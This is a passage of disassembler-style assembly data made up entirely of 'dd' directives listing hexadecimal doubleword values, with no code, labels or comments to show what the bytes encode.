		dd 929E5A59h, 3BEB4F48h, 0D22348h, 385AB6ADh, 0DA7CE36Eh
		dd 669E40A0h, 61E1350Bh, 699074D3h, 0E6002464h,	7B011341h
		dd 9A68DA4h, 0B2890693h, 7B480975h, 0DC0C70D4h,	0E0A00404h
		dd 8AB50DAh, 6800C0C0h,	4D7AE7C8h, 2F9A4F45h, 0D2394h
		dd 9ED070BEh, 640BC0BDh, 7431A8B9h, 0D05EE9ACh,	12647069h
		dd 8005ED47h, 0BB3F44B0h, 0E0DBAE2Fh, 2D621C60h, 4CD174B9h
		dd 50045B69h, 711739BEh, 0E8AC19F4h, 97D9A480h,	0F6035DE2h
		dd 7730CA2Fh, 57FFA218h, 4F164465h, 0F400C0E2h,	0BA8F2266h
		dd 2700A560h, 0BF53C369h, 91FB4BEh, 6E0DC38h, 9CA780A7h
		dd 6C03A689h, 0DFA04D7Dh, 0DDCF9BD4h, 92424EC3h, 6620C047h
		dd 0E09F4138h, 0C9C99DB2h, 8CF2FDh, 40CE2E8Bh, 61768865h
		dd 8E458900h, 0AA4B4C27h, 2F554E9Ch, 0D323BCh, 5F28D16Eh
		dd 19C04018h, 6D9B1F3Eh, 5BD27BDCh, 5F54A315h, 48001CF2h
		dd 9DDCD095h, 6D0B4F88h, 0F4662F74h, 0A8DB2568h, 20EBF70h
		dd 2B7A0369h, 0DCF45CC7h, 0E04E1147h, 0A8A5F6FDh, 951FC46h
		dd 955352C3h, 84597C7Bh, 55CDD18h, 66F810E0h, 75914001h
		dd 3BC8473Dh, 0F94E2CF2h, 33588044h, 139779Bh, 0AE93FB7Ch
		dd 719578C7h, 603D2E1Bh, 58C6A7Ah, 255C1BB5h, 21100882h
		dd 3038DE3Dh, 39176E90h, 78AC6A16h, 3094CB4Ah, 6D67157h
		dd 7D890FF1h, 7B1659FCh, 0A789039Ch, 8A9293h, 1A77834Ah
		dd 0C5EDE545h, 4C59F1DFh, 0A32B1FCEh, 4858AE2Ch, 6D6BEEC0h
		dd 1C00DE98h, 6424E0FDh, 7DDC89Bh, 0C02CBB41h, 0E03B0412h
		dd 389654D4h, 1D5465Eh,	778C0217h, 8A2EDF65h, 53212278h
		dd 0C701F8FCh, 0D625E51h, 0D56AE05Ah, 9764069Dh, 2E849940h
		dd 0D2011084h, 0E4A88CEDh, 47399702h, 56CA9E90h, 0E46D664h
		dd 0AB260071h, 7CD1043h, 146018CBh, 5A49521h, 0E7031DA8h
		dd 0C08D567Bh, 49C6744Ch, 3C81CD5Bh, 882E9E38h,	8F606698h
		dd 9A20B541h, 0CB212E39h, 7E80011h, 1075434Ah, 0FC74D301h
		dd 91476BF3h, 88185DEAh, 4ABFA19Eh, 0D0A6D71Ch,	0D6FA08EEh
		dd 1CE5CA4Ah, 0AB28847Ah, 60C11864h, 0A22B2D34h, 6AAFD2C8h
		dd 31007564h, 9AB4FEC9h, 0F44E695h, 0A11D4571h,	4858A453h
		dd 9D7CD097h, 2D70D05Bh, 366701CEh, 0A181DD88h,	0AC026AB6h
		dd 5790FE59h, 516FF44Dh, 0C1F85880h, 46129539h,	0ECE18915h
		dd 18B83429h, 8EA8DD00h, 3031E936h, 9E6A0407h, 0BC249A1Ah
		dd 8106C1D8h, 343D1F46h, 828066C1h, 0C218A527h,	0E064CDDCh
		dd 93C538BBh, 401C762Fh, 4801ED8h, 0BFB79EB6h, 1885AEE1h
		dd 6F0064A2h, 0F5CD8B3Dh, 654BDBBBh, 0D1B72CD0h, 405C3E16h
		dd 7ECC9207h, 42521BDh,	48053A95h, 80C2544Fh, 0B520F08Dh
		dd 539FE0E6h, 6D3F7018h, 629DF504h, 660E6E29h, 0F90B91F8h
		dd 5FCCCD00h, 0FAA97338h, 4AA4075Dh, 56829D92h,	977A3078h
		dd 14C86EF1h, 0AC024ACBh, 8691DE6Ch, 0C8B4CA92h, 7798C03Bh
		dd 3A2409D9h, 8205AAA2h, 0A8B21F8Bh, 28352512h,	0B97966B0h
		dd 931644BCh, 0DAACA0A9h, 9C7E098Ch, 3CF60550h,	3A20744Bh
		dd 40046BC5h, 8C0D59Eh,	0EBBDDAEh, 96533816h, 1875D809h
		dd 5B0350h, 0E4054B25h,	0D99E01F9h, 8BDCD395h, 0F07929DEh
		dd 0F01913D9h, 0BD009CA3h, 3A70F2F6h, 27BE3BAEh, 78F4F71Fh
		dd 0A6EBA908h, 998E18F8h, 0C812A382h, 5D0C3A53h, 0F0B5D08Dh
		dd 7A812701h, 0D3257854h, 17735804h, 13A60386h,	0E6C17E9Ah
		dd 7ED863E9h, 46D7CC8h,	87EDA3D5h, 2498AE82h, 0B7C14467h
		dd 8066EB28h, 9448A891h, 6FBB03D6h, 0ED99C875h,	0FC1DEAADh
		dd 82E204BDh, 3BEE60B4h, 2CC2348h, 97F5D8B0h, 5708B9DDh
		dd 0B05B49ADh, 3F7D1D70h, 0B2DB746Fh, 1CA64A08h, 6F0BF0E0h
		dd 0FF86E500h, 15601237h, 0FC20D3DAh, 0B2439D38h, 0C8D1C544h
		dd 12A24D21h, 0F21F0799h, 0EB86C284h, 540A5DADh, 0D3465EB0h
		dd 43961500h, 0AABB3FF4h, 0C0FCD54Bh, 0CD069108h, 65409A04h
		dd 60061CACh, 18CBC280h, 2CA8D16h, 18FDACD1h, 0E3E77980h
		dd 11B91B07h, 0D5E55800h, 68DC5FB0h, 44CE0BB7h,	6017E78Dh
		dd 0C982CC91h, 0C057DB34h, 8005E0C4h, 0BB03FE18h, 3E278E84h
		dd 4B1D83CBh, 0C418AC91h, 0C4EFDABEh, 0B9A0AD60h, 25DAD0EAh
		dd 3C74B347h, 207A58F4h, 820AFD10h, 42451925h, 0CD5F74h
		dd 4BB2F260h, 476F0465h, 0C5D90Dh, 1FC0DD97h, 448104C7h
		dd 1DED751Dh, 1CFAC1B4h, 42B90470h, 7F2522CDh, 0F76078CDh
		dd 4473B2Ch, 1E4F0727h,	80E8E8FFh, 0F19C87C9h, 8260C5A8h
		dd 4F78B494h, 0F51CC512h, 5E43B8C2h, 707CE970h,	2A7909D4h
		dd 3A5D59CCh, 4CB5FF80h, 47450303h, 20BB8CD4h, 0CD1BCCA0h
		dd 0E800D977h, 0D738B61Ch, 2ECEE232h, 4B8C19CAh, 0B0088D9h
		dd 0E38AB462h, 701E05B2h, 80DDA9CFh, 0F2760DC1h, 64B1C60Ch
		dd 1332F03Fh, 0ABBD6A96h, 823D4401h, 49A43489h,	14674ACh
		dd 2D68B900h, 0E0515E50h, 8A179D09h, 4A8AB80h, 38400700h
		dd 8C79614Eh, 0C5992900h, 0FE93FDF3h, 2A5D0026h, 2C882164h
		dd 31C99182h, 94700214h, 80B7D528h, 1236C903h, 9E7980D3h
		dd 646D1313h, 8190A977h, 5BFD9047h, 4688E2Eh, 0D48BCEBh
		dd 80F49BAAh, 39A33A01h, 0BEAE2FA2h, 77928817h,	71838AEh
		dd 60A3EE4Bh, 941FA015h, 1C82D13Dh, 0D5826A48h,	0ECE6F941h
		dd 4B0B440Fh, 48FF4D8Eh, 5CBCC54Ch, 0AD009729h,	0C7F7DF8Dh
		dd 0B500D143h, 0F937DB69h, 18123344h, 0A98365EEh, 900C121h
		dd 0C1BE4B5h, 13D38F70h, 833506D8h, 306E3703h, 0C4A2F708h
		dd 1E3F2A3Bh, 0DB549581h, 0D0AD6132h, 0DC07D53Bh, 0E6A9EF44h
		dd 0ED618D77h, 0F33AF845h, 78A692BCh, 0DFE17DA3h, 0CBA0D7C6h
		dd 149DE7A7h, 7158993Ch, 26CC19CCh, 0D79E0020h,	0A094398Eh
		dd 434E0B89h, 0C0DDB4BDh, 62143775h, 5A979F91h,	0F094A64h
		dd 0A1841DE0h, 0C48AAE61h, 0E0B55F22h, 8DC9594h, 42210E60h
		dd 596A9E02h, 302FF59Dh, 9C1313B1h, 0D8374CD4h,	82477B70h
		dd 54F9012Dh, 497AFCFFh, 5697E4B9h, 6D296207h, 9DE11A9Eh
		dd 1898DDE9h, 4166811Fh, 0D036A935h, 15B442AFh,	0AE021229h
		dd 0CF86231Fh, 71D37900h, 58A18F93h, 597E0002h,	0A0C267E5h
		dd 0A800E254h, 0DE9E5C04h, 5BC90C24h, 0B0A208h,	733FE105h
		dd 5F1874BEh, 0ADE0CCB8h, 450C2C0Dh, 0E03A3019h, 9F05A5B8h
		dd 650D46CEh, 813FF4F1h, 3A507A58h, 8214A8F3h, 0EC055495h
		dd 0AB37B559h, 0ACF1BC45h, 0C8A008BAh, 0B0120024h, 821214E8h
		dd 2B34E18Bh, 0A10860A7h, 5E2523D6h, 20FD12B0h,	2CAC1CA8h
		dd 36EF3Dh, 0A03B32F5h,	0DFDAC6h, 83D4B249h, 18C756D5h
		dd 9085BF22h, 41276038h, 2E0FB73Fh, 1949640Bh, 0C4807426h
		dd 82C95C2Fh, 0F800F0D0h, 9CCF0DD2h, 7B3118A0h,	7578B081h
		dd 3D054500h, 8E60B4Bh,	4495A000h, 6E7C11FEh, 403487Ah
		dd 40945865h, 0E3E58752h, 7465C81Fh, 0C3FDC2BCh, 88027D09h
		dd 0A04231A7h, 0EC375Dh, 30686AF4h, 4497E259h, 0D144B110h
		dd 0E18D9h, 0E85E0779h
		dd 0CF3477A2h, 9C3FCA05h, 7CA0AC82h, 68A607B6h,	0A238D96Ah
		dd 0CF75C61Eh, 0E7E14148h, 2B6FF1AEh, 1A9D24B0h, 6881F082h
		dd 2EA584C1h, 0A5E074E0h, 6516C430h, 0DC006CF3h, 0DDB14CD2h
		dd 8E20B906h, 78E4BF1Ch, 69E83D00h, 136B238Dh, 87C60793h
		dd 2544E2FCh, 7027EA75h, 0DD94EC0h, 0EF2E0070h,	8FAE03D1h
		dd 2B2E56E5h, 0FC269363h, 640E1B11h, 0DDC43776h, 0ACF8E9E7h
		dd 3A480E5Fh, 0E954C894h, 0CD26B309h, 3AE400E5h, 6809ED60h
		dd 5440664Eh, 4370348h,	5D7951h, 6259DA94h, 3F1B4AD7h
		dd 3E458B00h, 43CC1A9Dh, 90465F18h, 0ECB19788h,	81784Eh
		dd 0B7E1F0Eh, 0D8D1AB58h, 0CE180E79h, 0D572C502h, 0C0549E01h
		dd 0B27DF30h, 47FB1FE9h, 13045C66h, 9C9D7668h, 231C3EEFh
		dd 7CB010Ch, 0EC0DCE53h, 8625088Ah, 0C280F651h,	0A7556413h
		dd 91028E88h, 4ED4583Eh, 0AFA48C54h, 0AB873207h, 0DEC04D68h
		dd 6F3F159Fh, 0D90508D8h, 0DDF80CC5h, 255B9610h, 2CB3D8B6h
		dd 3C4E8981h, 0B8245D1Ch, 4A4DB8A7h, 1E80F0F8h,	44186EB7h
		dd 8A149D90h, 4888284h,	0F390CC5h, 5A7C8AEEh, 123B82Bh
		dd 49666201h, 18623831h, 1D18BE09h, 0DB2DC074h,	1FE3D0F8h
		dd 41367912h, 0A8EC88C0h, 0E6264A5Ch, 0FF75B050h, 0B2771301h
		dd 64FC04CAh, 1EAF047Ah, 21C48AEEh, 2CEDAD78h, 199B5840h
		dd 0E3BE04B7h, 0D531ED45h, 1F704974h, 87C838DDh, 7BB58411h
		dd 0DDBF5084h, 0A32DA51Ch, 38567140h, 0BFD1629Ch, 7E64E2h
		dd 909A246Eh, 0DD2F20ECh, 0D21990B9h, 0B56A1D21h, 0F14C136Bh
		dd 60E5C28Ch, 9E1C0800h, 7341DA1Eh, 9294028Fh, 0ABE513B7h
		dd 5435DCC0h, 262A6D4Ch, 69343C01h, 0AFF485AEh,	73094C6Eh
		dd 39DD32D7h, 95CCC5F0h, 90EEB5F0h, 51EC2709h, 3D88F2F8h
		dd 921EC2A1h, 44402C34h, 568449CDh, 0F52F40A0h,	0B200955Ch
		dd 627AAC3Bh, 0C54BE1h,	61DAB16Eh, 9D124A8Eh, 47313F62h
		dd 6489F7B6h, 80D4B5D7h, 74BB4E19h, 314E5166h, 0B9A7CCB0h
		dd 1260000h, 1B8A3BB1h,	0DC96EB00h, 354E49FBh, 2CF0E283h
		dd 5811D4Fh, 0A015623Eh, 38249574h, 0EA09FC71h,	8165FE2h
		dd 65124814h, 329B0954h, 40587447h, 5CD6EBE7h, 0F692401Fh
		dd 0AD1C7C25h, 1E977890h, 8D18AF00h, 0FA223A9Ch, 57EF3B7Ah
		dd 3E644F84h, 402CF4A7h, 8C88C00Bh, 30FC6C2Ch, 0EB81E4FCh
		dd 55000C91h, 37EC6ACFh, 79AD7B4Ch, 9C9B4C4Eh, 30B43899h
		dd 0AE2589A4h, 7AC87328h, 0D6D0B0FDh, 1B98048Dh, 0C0C6C504h
		dd 0D932D2D5h, 808D9A4Eh, 0E000F62Bh, 2E47149h,	113820F3h
		dd 90751991h, 44ED2D8h,	0A170FF85h, 4421EEC3h, 47027CD0h
		dd 44F04D77h, 0AD0A603Bh, 0E85A4EC8h, 30C8D2E8h, 25B700B0h
		dd 953D70FAh, 0BD1E238Fh, 8407A55h, 0DFDCF80Ah,	46A22D36h
		dd 0F62764D9h, 8002DCB0h, 37FF5599h, 5C60779Eh,	0D997EBE9h
		dd 180FD9A8h, 1856004Dh, 0C2E79225h, 58136020h,	60B4D71Ah
		dd 0A3944A9h, 0C0946D9Dh, 9B053553h, 0B15EB77Eh, 0E21F58A2h
		dd 313C8061h, 0A16C155Fh, 0B038E697h, 29A63020h, 9F9BFC89h
		dd 3A53D301h, 4F2DEAAEh, 9D4CE9FCh, 0D5C5B06Dh,	3333A80h
		dd 70D416C9h, 0D2A4EC7Ah, 45B8ACF9h, 1EEB1302h,	5D35629Dh
		dd 0CE6DC60h, 743B7918h, 11A0DB8h, 0D8F10819h, 7F1EA0E1h
		dd 0D3C840CBh, 3B9028C0h, 0BB180F99h, 0E2D613B1h, 0B9151298h
		dd 3A23303Fh, 0E734E801h, 202E4ADEh, 0A7587DE8h, 0C72A0F00h
		dd 8F3D4F94h, 40F8B431h, 74C4E1CCh, 70A6F100h, 0FEF95CBEh
		dd 0A8810B84h, 0E7854908h, 9C18800Fh, 6802440Bh, 595086CDh
		dd 67987C4Eh, 6086264h,	3BF0F609h, 0BB5BBE12h, 9A2EC43Dh
		dd 0B5DA8018h, 2DBB3FA7h, 0B0D1EA78h, 9D51FE46h, 7670ACD3h
		dd 0A86D4E65h, 8C70F8F0h, 3B127F16h, 4DEC4CC0h,	583092Eh
		dd 2CD1821Dh, 6A2C5964h, 1C81474Eh, 8B2E3114h, 616821B4h
		dd 8DD44FD6h, 206B6728h, 0B6371803h, 11243A49h,	4CB4A34Bh
		dd 65D827D4h, 6001E414h, 0E29C467h, 0D6711A91h,	0AA3C5h
		dd 1CB0B5CCh, 72950CB9h, 0A2EC4BB0h, 0ABEE88C0h, 68F578A0h
		dd 387D3D24h, 263E8408h, 0CACE0950h, 667C1CDFh,	44457136h
		dd 65343CBAh, 0BA05593Ch, 2DAEE7B5h, 989A7F84h,	0D5E0088Fh
		dd 57AB4F8h, 514B6AFAh,	0DA65300Bh, 0ED910024h,	66EC2D25h
		dd 92082B2Eh, 62896B9h,	29954218h, 23EED204h, 4CE87231h
		dd 0E1ED06DDh, 3709B002h, 7674556Ah, 0CBE55920h, 0BD4804E4h
		dd 0A680F8FCh, 0CD499120h, 0DA74EB09h, 8E8859ACh, 0A3B3473Fh
		dd 69F67808h, 28E2095Bh, 0A054F6D3h, 0DABE4Ah, 165E9EAAh
		dd 69BE362h, 1E928912h,	80808CDEh, 8B254BC5h, 0AC68B681h
		dd 0C1A48A82h, 0C743E660h, 35708100h, 61821E3Ch, 7BB81649h
		dd 0D278ED23h, 0AAB4B0A2h, 0E70F62E3h, 0AC30F02h, 80B00CBCh
		dd 8B0629F3h, 4D059995h, 41BD18E2h, 0C2830C14h,	51AD045Eh
		dd 6601E8B8h, 89DEC2BFh, 0F66F2050h, 98EFE503h,	294C60D4h
		dd 9E2B3720h, 0DF14E0E0h, 61761F67h, 0CBF0468Dh, 2970C550h
		dd 0B886D1C6h, 0AA569555h, 0F57200D6h, 855491DAh, 515E9D89h
		dd 181E2E8h, 811F3595h,	0FB8B6610h, 0B7E9B5FFh,	23608881h
		dd 0BB0BB98Dh, 7DECDB20h, 95858BC1h, 611A9C2Ah,	398D0944h
		dd 311CA4AEh, 0C8ED245Fh, 0F3F64E8h, 6615E089h,	0FBDE5ABBh
		dd 0BD2434E8h, 0F87029FBh, 12AE015Dh, 36434EE9h, 9553866Eh
		dd 52AC28D9h, 5D467F5Fh, 85891BB0h, 0DF26E92Ah,	49E9C1ECh
		dd 0F32CD98Bh, 779BFBE5h, 0A31C009Fh, 0D7206F21h, 88F8715Bh
		dd 6E973221h, 1917BAEh,	0F4164FFh, 0AD2BDAB7h, 9F34002Bh
		dd 0E76BC44Bh, 803000CCh, 0F1E5025h, 25C7018Bh,	55A996FCh
		dd 8A3D69E4h, 6BBF4ADAh, 7A020E75h, 0E039009Dh,	78C861EBh
		dd 0A8B95E8Bh, 0ED246D1h, 69D38166h, 84AE0F30h,	5F111619h
		dd 15ABBB07h, 7D69E073h, 0F30AB641h, 0C8614CE2h, 12AFC517h
		dd 0BC9AABADh, 0FAFD39C5h, 1C7BC8h, 257AFA48h, 0B26FA382h
		dd 7595E201h, 0D45BCD92h, 1B315C48h, 0D110ED9Dh, 7A29B9D9h
		dd 3BA05BA7h, 4802E3A6h, 0FEF81CCBh, 0B6C0FD40h, 82821DFDh
		dd 4150514h, 9D350802h,	0DEBFC9F5h, 15A9E702h, 78597B5Dh
		dd 0E903AF98h, 0DE3C101h, 2B1A09C6h, 79212D9Dh,	6F1185C7h
		dd 3AFDEF5h, 0DC6B74h, 9311D537h, 0BDB589E2h, 38151444h
		dd 0FBCAFFF2h, 17242E6Bh, 16310832h, 0EDC1293Bh, 0DC331580h
		dd 75D28C1Ah, 2AC400A5h, 0E5087E4Eh, 0F9BF4822h, 2D74AFAEh
		dd 0B1752A41h, 362DE8C7h, 236612A0h, 189EB50h, 7B2BA17Fh
		dd 7EE0F8B6h, 0B4C582DEh, 0DC2021D9h, 8807E953h, 9603BF0Eh
		dd 0CA02D8A5h, 0A520485Bh, 9D254D14h, 6123B110h, 519776BEh
		dd 3D5B5DDAh, 903EDC58h, 0B8EF02C5h, 5C0834Dh, 0C0976DF7h
		dd 97E92DE6h, 65A84B77h, 1A057776h, 0FD693555h,	2F709B54h
		dd 4948F4D9h, 0B2800AB7h, 8551B4D0h, 484E39CCh,	45D103A8h
		dd 0CE026004h, 0B51431E0h, 513726ADh, 823504A2h, 5155D998h
		dd 8D89044Bh, 5E259701h, 809A13C4h, 0FFD88BFBh,	0BC8BD14Dh
		dd 31770033h, 0CED9D8D2h, 0B0906322h, 0F2291D24h, 0B128142h
		dd 12600BD7h, 4F4DFF1Bh, 0C90BC1C1h, 2FF8B5C0h,	985E6B41h
		dd 4DB20167h, 91C4080Ch, 78022330h, 6100455Fh, 0A8371362h
		dd 0EDF7B52h, 6090FA8Bh, 0BE66C680h, 613ECDFCh,	18F93250h
		dd 80488FE9h, 0C5AD80E8h
		dd 90709D79h, 4361392Eh, 41546DCh, 14E948FCh, 0BF1B5D40h
		dd 7A00ECDDh, 9D2EAF27h, 87D3ACh, 722CE70Bh, 0E9AD12EAh
		dd 550CC725h, 8049C514h, 6BFE4AB3h, 0DAE50024h,	0BD896061h
		dd 0D80D61EDh, 0EE6FF380h, 0CDE47A6Dh, 8A57FE81h, 0B906A665h
		dd 90D80E06h, 0EA470FBBh, 0D1C1EE74h, 0F25A9D35h, 5836DB55h
		dd 3305C0DDh, 0F8BF0F99h, 8A6F88EBh, 0E8FBE5EBh, 562F79D7h
		dd 0AF8D5E40h, 9F6317Eh, 85B6BBF4h, 4B01D304h, 0B38BD7FCh
		dd 11A89FFFh, 5C25801Ch, 9BF3B9Ah, 5A7C60BDh, 0BFC26455h
		dd 4D71DE7Bh, 99C5C730h, 5FF12E3h, 0C817E9AAh, 255E8577h
		dd 3DE89FEDh, 87030F24h, 2AA0111Fh, 908C2AE9h, 0F0D2055h
		dd 0A02AF8BFh, 62E4D901h, 0DDD8871h, 19AEFD0Bh,	3D603BFAh
		dd 0E2832D59h, 2640F7B6h, 0DBBF1ABDh, 0BE90CE8h, 0FD00610Bh
		dd 450C55DBh, 2CB5FCF0h, 17B5F4DCh, 0ED02FBF8h,	518D0F51h
		dd 2BD989FBh, 0E5B56307h, 0F9C9FE1Bh, 33C8EDh, 856AA407h
		dd 8BC5F117h, 8712F5D1h, 0F20F261Bh, 6EB243F0h,	49201A2h
		dd 7C9784Fh, 0EAB5E1A3h, 890924A7h, 89C0876Ah, 60810361h
		dd 2E6DDC88h, 722CF81Fh, 6524071Fh, 4A613667h, 0C930C4A5h
		dd 0EC685F3Dh, 793E8057h, 3D75FDFh, 76664D96h, 0A2D1CB13h
		dd 0A84DA023h, 32CDBD17h, 58F660FEh, 0E4009B8Eh, 0C06716CFh
		dd 2F8F7DDh, 0B34FC513h, 0CAACD03Bh, 5F1A572Fh,	400F3CE9h
		dd 0BD17FD14h, 80858FFBh, 85EF7BF7h, 0A2CDEB74h, 7FCDE903h
		dd 18A550F3h, 0CB8100FEh, 7475BC2Fh, 8CA49589h,	53F12976h
		dd 4770E998h, 0BB58D06h, 12225111h, 200DD59Dh, 0D8F2BF5Fh
		dd 0DE2BE52Fh, 690DC9FEh, 145D3055h, 0C0D0D495h, 0D41C870Eh
		dd 0DD183000h, 518213DFh, 25C9B04Bh, 0B7DB9F6h,	86A63729h
		dd 0E6A57385h, 4DCED60Ah, 0FC128F4Ah, 0C0B4DABBh, 0A522B05Ch
		dd 0D4103F6Ch, 0BB1EA7C8h, 40BDCE0Eh, 42688CA0h, 73BFFC13h
		dd 82E8736Dh, 0B93931ECh, 0C07648B0h, 36693C56h, 0C9A30004h
		dd 3FCB1988h, 1BEA787Fh, 6E8FBB05h, 0D5C0C02Bh,	0EEE127DFh
		dd 0EE5FB8D2h, 0C23318ADh, 83D08CD1h, 7504E90Ah, 0DC0F8AF4h
		dd 0B774A9DFh, 869926Fh, 5DA51651h, 620A7EA0h, 0B100526Eh
		dd 3075A310h, 132E673h,	918FCA5h, 3D0DF93Dh, 0BC995938h
		dd 4437171h, 9FB1BB15h,	0BF75C12Eh, 4A1868FEh, 5F297ABEh
		dd 85D36FFCh, 1DB20C9Dh, 604EF957h, 6916A418h, 5FC98230h
		dd 318E8C2h, 1D08C16Fh,	19C9BC2Ah, 0BAED7558h, 1316460h
		dd 0C0C82479h, 0C2508D2h, 5880F06h, 0F3FD802Bh,	0B2E860ADh
		dd 6AE780FEh, 45BD8309h, 4423E41Ch, 0BF086625h,	0A8B82765h
		dd 49E5E2EEh, 9D08DB4Dh, 0FF01325Dh, 8810FE1h, 892729BBh
		dd 5B5205A3h, 0C3E9643Ch, 10E1DF35h, 13422FF8h,	0E7440120h
		dd 0A19D1323h, 9AAD12Ah, 19200416h, 45860F03h, 49BC8498h
		dd 1E9B60A1h, 0AB5692C0h, 0FB0B13A6h, 2E3D8ECh,	0D31A943h
		dd 0FF5B059Ch, 0DC8AE180h, 4E10A80h, 350CE8h, 0C64F92CFh
		dd 5D064E1Bh, 0E4639894h, 26A1204Ah, 0C90A5F18h, 95011E50h
		dd 82C976F4h, 28187943h, 61DE09DBh, 71F6FE4h, 4B8075A1h
		dd 43BB4F5Dh, 79B1074Dh, 0C9398533h, 51427E4Fh,	7D00D8CEh
		dd 906180E9h, 0AB1CCAB0h, 52585085h, 0C0310FF4h, 5A7B7916h
		dd 32909058h, 20290C0Dh, 0EF207C54h, 0E833402Dh, 0FF06EFB1h
		dd 489A1F03h, 2225252h,	54616036h, 5F97A34Ch, 80A4B89Dh
		dd 1788873Ah, 7490D3h, 0CE1A36C7h, 453465DDh, 82F96800h
		dd 0A9C1BB57h, 5F403829h, 45278BAEh, 107B18C7h,	5862B436h
		dd 0C0BFDB0Ah, 820EB149h, 642C6758h, 0B588FEE2h, 6C8B1D23h
		dd 1A614668h, 0EA2E17B4h, 605D12DEh, 75A504DCh,	0BE90F2Fh
		dd 0E47F3801h, 8B4600BCh, 9C57D05h, 6104AFC0h, 84FA0AA4h
		dd 1A07F3BEh, 8F938D85h, 1C2BC824h, 2C181CC7h, 19467C92h
		dd 7600F63Fh, 29DACCB1h, 0FD92C1BDh, 918AF850h,	35CA75D8h
		dd 0E546A121h, 98DC27AFh, 64B000DCh, 9E1BF6D0h,	8D420FFEh
		dd 1193D58h, 429D6904h,	7B5D8947h, 57B97355h, 74BC07Fh
		dd 21B10512h, 0C630BE64h, 26A7AA96h, 0D9C98Ch, 0BFB5048h
		dd 0A67A71CBh, 446891Fh, 40FBBD57h, 0B86050E9h,	0B5179C0Bh
		dd 6186614Eh, 0FFF144B4h, 0BBDA48FBh, 2BAFF900h, 0CC3D6863h
		dd 0EF6F4AB4h, 0FE340F40h, 1FC55664h, 2998094h,	0B1BAC186h
		dd 0A7C37760h, 60815F30h, 4BABCFC2h, 7B6BEB6Fh,	56D0037Ch
		dd 0FF0E3259h, 858DF590h, 467E8CBCh, 12AB4A17h,	117E04D4h
		dd 0B8311F33h, 85687BBDh, 14F04D56h, 0FB0795F0h, 8D8975DEh
		dd 0E8402AB9h, 0B2CD7DC9h, 0B4D44060h, 7D1604E5h, 8179D298h
		dd 50AC13Ch, 2F8688FAh,	8889AB01h, 615FAC59h, 0AC17AD2Ah
		dd 0E03F0726h, 0D05C36B1h, 184B2F1h, 1E13E98h, 0C6DEC7F8h
		dd 333DC177h, 6215299Dh, 4DD34287h, 92B758B3h, 11190609h
		dd 81102166h, 3503BCC3h, 30501AB8h, 4430390Ch, 0E8C10187h
		dd 200EAD10h, 3FC4CCEh,	0E43584Ah, 7736EBE7h, 0E648136h
		dd 1B8C857Bh, 0D0282950h, 58331821h, 57420113h,	0B244C1Bh
		dd 918C0FC0h, 592C5332h, 5F022720h, 872FB3BFh, 0AEFB5522h
		dd 24D14D58h, 0B4A9C0Eh, 2E94A6F4h, 4CCB8522h, 2E29AD29h
		dd 27B8E6BAh, 70D7F3BFh, 0A89801FEh, 7671215Fh,	0E438E380h
		dd 0BC299927h, 0BB5EE87Dh, 8C44135Eh, 89C80D0Bh, 0FCAD2A34h
		dd 0E00F54B8h, 0AF2DA7Ch, 611BA2Bh, 320864Dh, 0C223A8D2h
		dd 0F51070C7h, 0E6BCC56Dh, 28BCC600h, 7C26C82Fh, 0B7AC3EA0h
		dd 2C1196AEh, 59F0977Eh, 74FB0C0Eh, 0BDB39611h,	56581A78h
		dd 0F248B05Eh, 0F4A722C0h, 0D40018C1h, 4852EFCCh, 2841B4C0h
		dd 2FC1E70Fh, 74FE308Dh, 71184676h, 0C89E1D04h,	3120E9CFh
		dd 56F60345h, 0EACBE0ACh, 28450ED9h, 8F0F0A23h,	5A501565h
		dd 2FCA700h, 0D69D0886h, 9A799300h, 0CB3606B6h,	0F387A372h
		dd 0D82D4AC4h, 3923B598h, 0F1B5A715h, 47E12E00h, 91800FD0h
		dd 0A59D8617h, 5032692Bh, 5CDAD020h, 0B5016B76h, 7CD591D7h
		dd 14CD809Dh, 41B767Eh,	9D31281Eh, 4B84B945h, 51F6FEBh
		dd 0B5DF80A8h, 1CF8F8C1h, 5BBF4681h, 3075E3A7h,	12483926h
		dd 0A6ABA4BBh, 0EB50B040h, 0B554C431h, 5F76181Ah, 0A54BBC0Bh
		dd 807B377Dh, 9EDEA242h, 87121FBBh, 92583710h, 90E20A62h
		dd 213A191h, 245F5611h,	0BFA36096h, 32F00635h, 8A61B4D3h
		dd 0F87B5596h, 0A592AD58h, 21B52F98h, 50574F01h, 0A83ABD8Bh
		dd 0C65F25C2h, 2637B498h, 7B65A573h, 0F92E0B11h, 65BB0529h
		dd 0D9B4C825h, 0D9B4FACh, 0A8C1E85Bh, 8B6E934Ch, 9D6221B5h
		dd 716A2556h, 75526CA5h, 0EB2B4ABFh, 5A9E0E40h,	8D9B3Dh
		dd 0A2F94831h, 2DA14FA3h, 63C3EA1Dh, 0C2287945h, 12018804h
		dd 2B29B931h, 884EE938h, 0BC013E8h, 3326C5Fh, 0C237005Dh
		dd 7139A374h, 731C9AA4h, 44993B0h, 748572Eh, 7B013676h
		dd 1DA9EA33h, 752E5B7Ch, 9BA6B0Bh, 0A4C6F5A9h, 2B8FA3Ah
		dd 0C017DAF4h, 62EF1CF0h, 417300E1h, 0E9C5384Ch, 0FF71F45Eh
		dd 3DE38100h, 8B620270h, 720997C1h, 1AA6D351h, 7D174674h
		dd 7D73DD02h, 0A939BD09h, 73625FC5h, 3E0056Dh, 1AB79247h
		dd 447DB37Eh, 58425357h, 63FF31Ah, 0AD383A9h, 131FA6DFh
		dd 0C8DE8B4Ah, 6BB85B17h, 1B5E65Ch, 284B13F6h, 1F2A1CD4h
		dd 3755A703h, 9A00B9A9h
		dd 1C2B3264h, 0DE4BB70Fh, 0E9DB0385h, 72D65A80h, 0DD12795Ch
		dd 0EA005790h, 505F3EE4h, 0CB2097E8h, 0DEF0F7C5h, 0B4255C00h
		dd 2B67E54h, 0B1790208h, 870FF8CDh, 50388264h, 5F90A55Fh
		dd 0EB9F5CB5h, 0C0761580h, 70F73B12h, 6025AD6Ah, 84F299FFh
		dd 0F0D2D904h, 0F1842923h, 0CC4AD4E2h, 0B5103123h, 0AEA40BB1h
		dd 0EEB057E6h, 23016EF5h, 0CA9F6D45h, 0E770BDA9h, 0FF274001h
		dd 1233D13Dh, 28E32FADh, 2E51718Dh, 54AC14ADh, 7282C631h
		dd 0F1921B31h, 0B8C8EE02h, 9D331A57h, 0F60B91A1h, 17001EE4h
		dd 0FCA4A3B1h, 12F2F669h, 5357C56Bh, 0BDA924BDh, 4C96E8E4h
		dd 6510E803h, 79E90926h, 64E1590Dh, 0AF938461h,	7EE087E6h
		dd 870036EAh, 0E7604EB4h, 121ABFEBh, 43EE004h, 0ACDD0D72h
